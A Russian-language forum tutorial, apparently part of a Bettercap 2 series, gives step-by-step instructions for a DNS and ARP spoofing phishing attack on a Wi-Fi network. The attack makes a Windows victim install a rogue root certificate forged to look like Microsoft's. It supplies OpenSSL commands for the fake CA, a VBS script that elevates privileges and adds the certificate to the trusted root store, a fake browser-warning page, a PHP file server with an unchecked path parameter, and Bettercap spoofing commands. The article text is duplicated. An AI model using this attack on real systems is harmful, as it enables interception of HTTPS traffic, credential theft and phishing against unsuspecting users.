Содержание
В ходе цикла статей по Bettercap 2.*, решил выпустить "сезон подробных примеров" применения техник проведения атак использую фрэймворк Bettercap.
В этом "сезоне подробных статей" из цикла bettercap 2, будет подробно описаны примеры продуктивных атак, начиная с концепции и заканчивая проведением атаки в WiFi сетях.Подобные статьи описываются поверхностно и содержат только теоретическое содержание с минимальными инструкциями которые будут пригодными для практического применения. Эти статьи будут расписаны самым подробным образом и будут содержать подробные инструкции пригодные для практического применения в текущих реалиях.
Начнём с самого опасного и самого продуктивного примера проведения фишинговой атаки, которая будет внедрять само-подписанный SSL сертификат. Положительный результат проведённой атаки будет сказываться на остальных примерах атак.
DNS&ARP Spoofing - Внедрение само-подписанного сертификата.
Краткое описание проведения атаки.
Техника "DNS spoofing" используется для подмены IP адреса привязанного к доменному имени, подменив который заставляют посетить необходимый сервер.Подмена используется для того что бы атакуемая цель получила полезную нагрузку, либо для того что бы спровоцировать атакуемую цель на передачу ключей авторизации или другой необходимой информации в руки атакующего.
Техника "ARP spoofing" используется для подмены MAC адреса который привязан к необходимому IP адресу. Таким образом заставляют отправлять сетевые пакеты по необходимому маршруту. Для того что бы атаковать целенаправленно используют технику "ARP spoofing" с указанием IP адреса атакуемого.
Атака "DNS&ARP Spoofing - Install rogue certificate." использует две эти техники таким образом, что бы заставить атакуемую цель скачать само-подписанные сертификаты и установить эти сертификаты в внутренние хранилище сертификатов на атакуемой машине.
Атакующий поднимает HTTP сервер, на котором размещается страница с провоцирующим на установку само-подписанных сертификатов сообщением и ссылками для скачивания сертификатов.
Сообщение обязано быть в первую очередь правдоподобным и не вызывать каких либо сомнений у пользователя под управлением которого атакуемая машина.
После того как поддельные сертификаты будут установлены на атакуемом хосте, атакующий использует сертификаты для прослушивания сетевого трафика, а так же управлением этого трафика.
Установка сертификатов на атакуемом хосте, открывают HTTPS трафик для открытого просмотра и трафик читается так как читается трафик HTTP.
Подготовка
Создание само-подписанного сертификата
Для создания само-подписанного SSL сертификата будет использоваться криптографическая библиотека
Действия будут проводится в ОС Windows, но в других ОС порядок действий будет таким же и ни чем отличаться не будет.
Первое - сертификат должен правдоподобно выглядеть и содержать названия и имена компании на которую будет опираться предлог установки сертификатов. То есть сертификат будет поддельным и похож на легитимный сертификат официально зарегистрированной компании.
Так как в качестве атакуемой цели будет хост на борту которого установлена ОС Windows, то и сертификат будет подделываться под компанию Microsoft. Для MacOS сертификат соответственно будет подделываться под компанию Aplle, а вот под Unix подобную ОС, придётся подбирать в зависимости установленного дистрибутива или броузера в котором происходит сёрфинг по просторам сети интернет.
Идём на официальный сайт Microsoft "
Теперь используя OpenSSL создаём поддельный центр сертификации в котором поля будут содержать текст аналогичный microsoft.
Создаём приватный ключ, файл "prive.key":
Теперь генерируем сертификат, вариант заполнять поля в режиме консоли:
Либо создать файл конфигурации "cfg" (или другим именем) который будет содержать в себе следующее:
Содержимое файла конфигурации изменяется в зависимости компании на которую будет подделываться сертификат и желаемой правдоподобности подделанного сертификата.
И обратимся к OpenSSL с следующей командой:
Сертификат с приватным ключом создан.Полученные файлы будут использоваться в Bettercap, файл "ca.pem" будет задействован в vbs скрипте для автоматической установки в хранилище сертификатов на атакуемой машине.
Для установке на атакуемом хосте двойным нажатием правой кнопки мыши конвертируем из "pem" в "crt" следующей командой:
Создание фишинговой HTML страницы
Возможно создание страницы с содержащей текст ошибки или уведомления об какой либо ошибки безопасности, главное что бы содержание страницы не вызвало ни какого подозрения и спровоцировало на установку предложенных сертификатов.
Как правдоподобный вариант в приведённом примере будет использоваться переделанная страница с предупреждением браузера Firefox : " Предупреждение: Вероятная угроза безопасности".
Получаем исходный код такой страницы и редактируем подделывая под ошибку вызванную ОС или броузером, с содержащей в итоге сообщение в котором будет говорится о том, что установить сертификаты с ссылок это необходимость которая решит проблему безопасности.И без установки сертификатов дальнейший сёрфинг по сети интернет невозможен.
Страница используемая при ошибках или предупреждениях Google Chrome выглядит чище и вызывает большее доверие, поэтому решил редактировать и адаптировать под нужды страницу Chrome.
Возможно копирование страницы, возможно будет принято другое решение и создадите другую страницу которая будет правдоподобней, но выбор пал на страницу Chrome. Не много подправив, получаем вот такую страницу:
Для автоматической установки сертификата на атакуемый хост будет использоваться простейший vbs скрипт:
Содержимое переменной "str" меняется на содержание файла созданного сертификата "ca.crt", для корректной работы скрипта переносы строк из файла сертификата удаляются.
Исходный код отредактированной страницы будет во вложение, так как исходный код содержит много символов.
Ещё один стратегический момент который будет обнаружен во время атаки, это ошибка сервера "404 File Not Found.".
Так как не известно с какого адреса будет переадресован атакуемый, создаётся свод правил в виде ".htaccess" файла:
Этот файл помещается в корневую директорию поддельного сайта где расположена созданная страница.Таким образом, с какой бы страницы не перебросило атакуемого, в адресной строке адрес не изменится и атакуемый не увидит ошибки "404 File Not Found.".
Для корректной загрузки файлов при нажатие на ссылки или кнопку, создадим "php" скрипт который будет отдавать необходимые файлы вместо того что бы показывать содержимое файлов.Создадим папку "cert" и поместим в эту папку скрипт с именем "index.php" и содержимым:
В папку "cert" поместим скрипт vbs с именем "certificate_install.vbs" и созданный сертификат, назовём "certificate_microsoft.crt", если имена совпадают, то возможно использование страницы которая будет во вложение.
Ещё один момент с HTTP сервером, так как "http.server" в bettercap не понимает правил и файлов htaccess, то использовать будет лучше Apache.
Проведение атаки
В качестве атакующей стороны будет хост с установленной ParrotOS, в которой установлен Bettercap, в качестве атакуемой стороны будет хост с установленной Windows 7, с Windows моложе 7 обязано работать так же.
Помещаем файлы фишинговой страницы в директорию сервера и запускаем apache:
Далее запускаем bettercap и используем следующие опции:
Теперь запускаем "модули":
Как результат с использованием защищённого соединения HTTPS на атакуемом хосте броузер будет выводить подобные сообщения:
При нажатие на кнопку будет перекидывать на фишинговую страницу которую приготовил атакуемый:
Такие сообщения выводит броузер Firefox, броузер Chrome будет выводить аналогичные сообщения и вести себя аналогично:
Что касается случаев с использованием незащищённого HTTP соединения на атакуемом хосте, то сообщение с просьбой подключения к сети будет игнорироваться и будет сразу выводится фишинговая страница не перебрасывая ни на какие адреса:
Нажимая на кнопку сертификат свободно загружается:
Для того что бы понять что сертификат скачен, добавим кусок кода в php скрипт :
Вставить этот кусок кода в конец скрипта , перед закрывающей скобкой "}".
Таким образом при скачивание сертификата или скрипта с сервера атакуемого, в директории "cert" будет создан файл "log.txt" и в котором будет указано имя файла который будет скачен.
Итог проведённой атаки
Как результат установленного сертификата на атакуемом хосте, атакующий используя этот сертификат в bettercap будет читать и управлять трафиком на атакуемом хосте при использование защищённого соединения HTTPS, так же как и при использование незащищённого HTTP.
Имея ключ сертификата возможна расшифровка перехваченного трафика, так же помимо внедрения кода JS, возможно фишинговое обновление для обновлений установленных программ и обновлений windows.
Анонс
Продолжим с техники внедрения JS кода в HTML код страниц, рассмотрим подробно пример внедрения скрипта фрэймворка Beef-xss, в ходе которого будет приведён простейший пример кода написанного на языке "Golang" для получение удалённого доступа. Так же будут приведены примеры простейшего JS кода, которые будут нести скорее шуточный характер.
Далее в сезоне будут описаны примеры внедрения HTML тэга "iframe", который будет альтернативным решением для перехвата ключей авторизации в условиях отключения JS скриптов.
Продолжение следует...
- Предисловие
- Краткое описание
- Подготовка
- Создание само-подписанного сертификата
- Создание фишинговой HTML страницы
- Проведение атаки
- Итог проведённой атаки
- Анонс
В ходе цикла статей по Bettercap 2.*, решил выпустить "сезон подробных примеров" применения техник проведения атак использую фрэймворк Bettercap.
В этом "сезоне подробных статей" из цикла bettercap 2, будет подробно описаны примеры продуктивных атак, начиная с концепции и заканчивая проведением атаки в WiFi сетях.Подобные статьи описываются поверхностно и содержат только теоретическое содержание с минимальными инструкциями которые будут пригодными для практического применения. Эти статьи будут расписаны самым подробным образом и будут содержать подробные инструкции пригодные для практического применения в текущих реалиях.
Начнём с самого опасного и самого продуктивного примера проведения фишинговой атаки, которая будет внедрять само-подписанный SSL сертификат. Положительный результат проведённой атаки будет сказываться на остальных примерах атак.
DNS&ARP Spoofing - Внедрение само-подписанного сертификата.
Краткое описание проведения атаки.
Техника "DNS spoofing" используется для подмены IP адреса привязанного к доменному имени, подменив который заставляют посетить необходимый сервер.Подмена используется для того что бы атакуемая цель получила полезную нагрузку, либо для того что бы спровоцировать атакуемую цель на передачу ключей авторизации или другой необходимой информации в руки атакующего.
Техника "ARP spoofing" используется для подмены MAC адреса который привязан к необходимому IP адресу. Таким образом заставляют отправлять сетевые пакеты по необходимому маршруту. Для того что бы атаковать целенаправленно используют технику "ARP spoofing" с указанием IP адреса атакуемого.
Атака "DNS&ARP Spoofing - Install rogue certificate." использует две эти техники таким образом, что бы заставить атакуемую цель скачать само-подписанные сертификаты и установить эти сертификаты в внутренние хранилище сертификатов на атакуемой машине.
Атакующий поднимает HTTP сервер, на котором размещается страница с провоцирующим на установку само-подписанных сертификатов сообщением и ссылками для скачивания сертификатов.
Сообщение обязано быть в первую очередь правдоподобным и не вызывать каких либо сомнений у пользователя под управлением которого атакуемая машина.
После того как поддельные сертификаты будут установлены на атакуемом хосте, атакующий использует сертификаты для прослушивания сетевого трафика, а так же управлением этого трафика.
Установка сертификатов на атакуемом хосте, открывают HTTPS трафик для открытого просмотра и трафик читается так как читается трафик HTTP.
Подготовка
Создание само-подписанного сертификата
Для создания само-подписанного SSL сертификата будет использоваться криптографическая библиотека
Ссылка скрыта от гостей
(скачать можно
Ссылка скрыта от гостей
или с GitHub, для Windows
Ссылка скрыта от гостей
).Действия будут проводится в ОС Windows, но в других ОС порядок действий будет таким же и ни чем отличаться не будет.
Первое - сертификат должен правдоподобно выглядеть и содержать названия и имена компании на которую будет опираться предлог установки сертификатов. То есть сертификат будет поддельным и похож на легитимный сертификат официально зарегистрированной компании.
Так как в качестве атакуемой цели будет хост на борту которого установлена ОС Windows, то и сертификат будет подделываться под компанию Microsoft. Для MacOS сертификат соответственно будет подделываться под компанию Aplle, а вот под Unix подобную ОС, придётся подбирать в зависимости установленного дистрибутива или броузера в котором происходит сёрфинг по просторам сети интернет.
Идём на официальный сайт Microsoft "
Ссылка скрыта от гостей
" и копируем содержание сертификата, поле "издатель":Теперь используя OpenSSL создаём поддельный центр сертификации в котором поля будут содержать текст аналогичный microsoft.
Создаём приватный ключ, файл "prive.key":
Код:
openssl genrsa -out prive.key 4096
Код:
openssl req -new -x509 -days 365 -key prive.key -out ca.pem
Либо создать файл конфигурации "cfg" (или другим именем) который будет содержать в себе следующее:
Код:
[ req ]
default_bits = 2048
default_keyfile = prive.key
distinguished_name = req_distinguished_name
prompt = no
[ req_distinguished_name ]
CN=US
ST=Washington
L=Redmond
O=Microsoft Corporation
OU=Microsoft IT
CN=Microsoft IT TLS CA 4
И обратимся к OpenSSL с следующей командой:
Код:
openssl req -new -x509 -days 365 -config cfg -key prive.key -out ca.pem
Для установке на атакуемом хосте двойным нажатием правой кнопки мыши конвертируем из "pem" в "crt" следующей командой:
Код:
openssl x509 -outform der -in ca.pem -out ca.crt
Возможно создание страницы с содержащей текст ошибки или уведомления об какой либо ошибки безопасности, главное что бы содержание страницы не вызвало ни какого подозрения и спровоцировало на установку предложенных сертификатов.
Как правдоподобный вариант в приведённом примере будет использоваться переделанная страница с предупреждением браузера Firefox : " Предупреждение: Вероятная угроза безопасности".
Получаем исходный код такой страницы и редактируем подделывая под ошибку вызванную ОС или броузером, с содержащей в итоге сообщение в котором будет говорится о том, что установить сертификаты с ссылок это необходимость которая решит проблему безопасности.И без установки сертификатов дальнейший сёрфинг по сети интернет невозможен.
Страница используемая при ошибках или предупреждениях Google Chrome выглядит чище и вызывает большее доверие, поэтому решил редактировать и адаптировать под нужды страницу Chrome.
Возможно копирование страницы, возможно будет принято другое решение и создадите другую страницу которая будет правдоподобней, но выбор пал на страницу Chrome. Не много подправив, получаем вот такую страницу:
Для автоматической установки сертификата на атакуемый хост будет использоваться простейший vbs скрипт:
Код:
Dim str
str = "-----BEGIN CERTIFICATE-----MIIFgzCCA2sCFG2WNJLchKu9Rr0/HjscNBl9E0u+MA0GCSqGSIb3DQEBCwUAMH4xEzARBgNVBAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1JlZG1vbmQxHjAcBgNVBAoMFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECwwMTWljcm9zb2Z0IElUMR4wHAYDVQQDDBVNaWNyb3NvZnQgSVQgVExTIENBIDQwHhcNMTkwNTE4MTYyODUwWhcNMjAwNTE3MTYyODUwWjB+MRMwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdSZWRtb25kMR4wHAYDVQQKDBVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsMDE1pY3Jvc29mdCBJVDEeMBwGA1UEAwwVTWljcm9zb2Z0IElUIFRMUyBDQSA0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwe2T/4cYlCPrc47l/ksv2dA4VQYEJ6zcSIO86me09YMiDRfCE2d/zK6w7mDCOPbedlcoOXeMegrG3qNPXHIIAg1669KQTuaHEYqKkEnh20EMEbRwQIV2+dmfftfErPkV9LNft1/SNdTEzAkcEO9Youg/2QmD3sUWdFOOF0nHLv8S3NpVCSmAAbuQw6l54YfgNNLng0cRcdapFjOVW7B6KXQQpEE/JC8Vj6Mt3LZHkE8KirpL7q6QO5Bis7GQCkqtNbedjAN7hu2XszuTxwT7fvGP6nYQMR5qFxoq0YuAMAYHB9iFCuZe6WLo6RcE50KIC096Adbkt/iJwoWphQGjTzQPo7tYjcUA2JuBRL6YyTQv8Nne/fHl40FZybKziYzx4CyuVvyYLEqkfPKMT84WrnKcKhzbw7yfgnacsmR7hmVCBms9HsYA/8APqU/MgtYR3ppO5/PeitUpe7JLF1/Cs1MPmyI84UnYwR2r2Q3EH5mH+aVKJKUtEDihhaXRztvhx5xTHd4zPEiTT0FUZFDnfeQxlPsgSCG/iPFKEhW0nFBU0Plhmlep4QqW+AJnX6QGV9rn67adM/k0c0T6lQ/AFfR+ps5pYh5QUP4nnwy9OZ2kxIeHinFA1CzRZM4V27+QF20ZFc3Je2e/tXqJ3CGhA2azsAcHHFfCLT91qzghbb8CAwEAATANBgkqhkiG9w0BAQsFAAOCAgEAixpRvb8Unh5pl2tikgBds7MSF3KLi2Jf8mhMTWYaaNZagFrlYhtSzHTIpV+jt60YVK/RKhO2kSzmas0wUTlenV2OINcK5inE/U4ZlSwAq6hJwOmrxZXPT9axFr168/+7k/4ByymICRT240EHjskjdmyjaEu0JMGMggMVN4pUqsXVSiJYmARJQL9gB4/JFvi4s0E+RCAfFlkjaC1EvOQqcKYXE1OOAzzOUugD/yTAHJfvDeYhD0H6Sk/xGVTwiF21kNTRO9XP96cXPV6jS7Pn6XmH7qGZTbCsLK/okDOyv3/rBTh0vj8MdwuEq/aPahV7pC1dPtsqAHQ8UeOiA32VevyOLKalteFMlamH/gUjeuiShwAgc5rYO6o7s0u3Ien4g1n63dIyqVwF6LLESFDvPOZC36y8m2ScOa40dcBPwuMOysmZGOHx/zXNEBZaDuMhWNPIXhtVaUJHCHe9c1f92d/jKa/FBEp80iMUkFvIkU/mn352d0LM38XIv9vxBq0p5QDFZ/s3P0VG3jDhBUS77PlPzE11DKny0XDL8f7h+o52d6btGF/mVGaDSOAXiDeT7oyoIYxLeL1TxYkQjQt9rEQSItoAbHSyKd8+OeilM3UFxoVq6x/55SkgIPPC3X3O8+Npi3CUmqKso1/bRu14KQwA+uZ0AF0gHXbLC+fCBtE=-----END CERTIFICATE-----"
Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="certificate_microsoft.crt"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write str
objFile.Close
Set WshShell = WScript.CreateObject("WScript.Shell")
If WScript.Arguments.length = 0 Then
Set ObjShell = CreateObject("Shell.Application")
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
End if
Dim objShell
Set objShell = WScript.CreateObject ("WScript.shell")
objShell.run "certutil -addstore -f AuthRoot certificate_microsoft.crt"
Set objShell = Nothing
Исходный код отредактированной страницы будет во вложение, так как исходный код содержит много символов.
Ещё один стратегический момент который будет обнаружен во время атаки, это ошибка сервера "404 File Not Found.".
Так как не известно с какого адреса будет переадресован атакуемый, создаётся свод правил в виде ".htaccess" файла:
Код:
RewriteEngine On
RewriteCond %{SCRIPT_FILENAME} !-d
RewriteCond %{SCRIPT_FILENAME} !-f
RewriteRule ^(.*)$ ./
Для корректной загрузки файлов при нажатие на ссылки или кнопку, создадим "php" скрипт который будет отдавать необходимые файлы вместо того что бы показывать содержимое файлов.Создадим папку "cert" и поместим в эту папку скрипт с именем "index.php" и содержимым:
Код:
<?php
if(file_exists($_GET["dwn"]))
{
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . urlencode($_GET["dwn"]));
header("Content-Length: " . filesize($_GET["dwn"]));
readfile($_GET["dwn"]);
}
?>
Ещё один момент с HTTP сервером, так как "http.server" в bettercap не понимает правил и файлов htaccess, то использовать будет лучше Apache.
Проведение атаки
В качестве атакующей стороны будет хост с установленной ParrotOS, в которой установлен Bettercap, в качестве атакуемой стороны будет хост с установленной Windows 7, с Windows моложе 7 обязано работать так же.
Помещаем файлы фишинговой страницы в директорию сервера и запускаем apache:
Код:
sudo service apache2 start
Код:
sudo bettercap
set dns.spoof.address 192.168.0.14
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set arp.spoof.targets 192.168.0.13
- set dns.spoof.address 192.168.0.14 - Указываем IP адрес который будет подставляться, адрес атакующего сервера.
- set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.рф - Здесь указываем домены с которых будет перебрасывать на сервер атакующего, возможно указать конкретный адрес, но лучше указать домены первого уровня.
- set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.рф - Аналогично опции dns.spoof.domains.
- set arp.spoof.targets 192.168.0.13 - Указываем IP адрес атакуемого хоста.
Теперь запускаем "модули":
Код:
dns.spoof on
dhcp6.spoof on
arp.ban on
- dns.spoof on - Включаем DNS spoofing который будет отправлять IP атакующего сервера на запросы атакуемого хоста.
- dhcp6.spoof on - Аналогично, но касается адресов IP6.
- arp.ban on - Включаем глушение сети относительно атакуемого хоста.
Как результат с использованием защищённого соединения HTTPS на атакуемом хосте броузер будет выводить подобные сообщения:
При нажатие на кнопку будет перекидывать на фишинговую страницу которую приготовил атакуемый:
Такие сообщения выводит броузер Firefox, броузер Chrome будет выводить аналогичные сообщения и вести себя аналогично:
Что касается случаев с использованием незащищённого HTTP соединения на атакуемом хосте, то сообщение с просьбой подключения к сети будет игнорироваться и будет сразу выводится фишинговая страница не перебрасывая ни на какие адреса:
Нажимая на кнопку сертификат свободно загружается:
Для того что бы понять что сертификат скачен, добавим кусок кода в php скрипт :
Код:
$f=fopen("log.txt","a+");
fwrite($f,$_GET["dwn"]);
fclose($f);
Таким образом при скачивание сертификата или скрипта с сервера атакуемого, в директории "cert" будет создан файл "log.txt" и в котором будет указано имя файла который будет скачен.
Итог проведённой атаки
Как результат установленного сертификата на атакуемом хосте, атакующий используя этот сертификат в bettercap будет читать и управлять трафиком на атакуемом хосте при использование защищённого соединения HTTPS, так же как и при использование незащищённого HTTP.
Имея ключ сертификата возможна расшифровка перехваченного трафика, так же помимо внедрения кода JS, возможно фишинговое обновление для обновлений установленных программ и обновлений windows.
Анонс
Продолжим с техники внедрения JS кода в HTML код страниц, рассмотрим подробно пример внедрения скрипта фрэймворка Beef-xss, в ходе которого будет приведён простейший пример кода написанного на языке "Golang" для получение удалённого доступа. Так же будут приведены примеры простейшего JS кода, которые будут нести скорее шуточный характер.
Далее в сезоне будут описаны примеры внедрения HTML тэга "iframe", который будет альтернативным решением для перехвата ключей авторизации в условиях отключения JS скриптов.
Продолжение следует...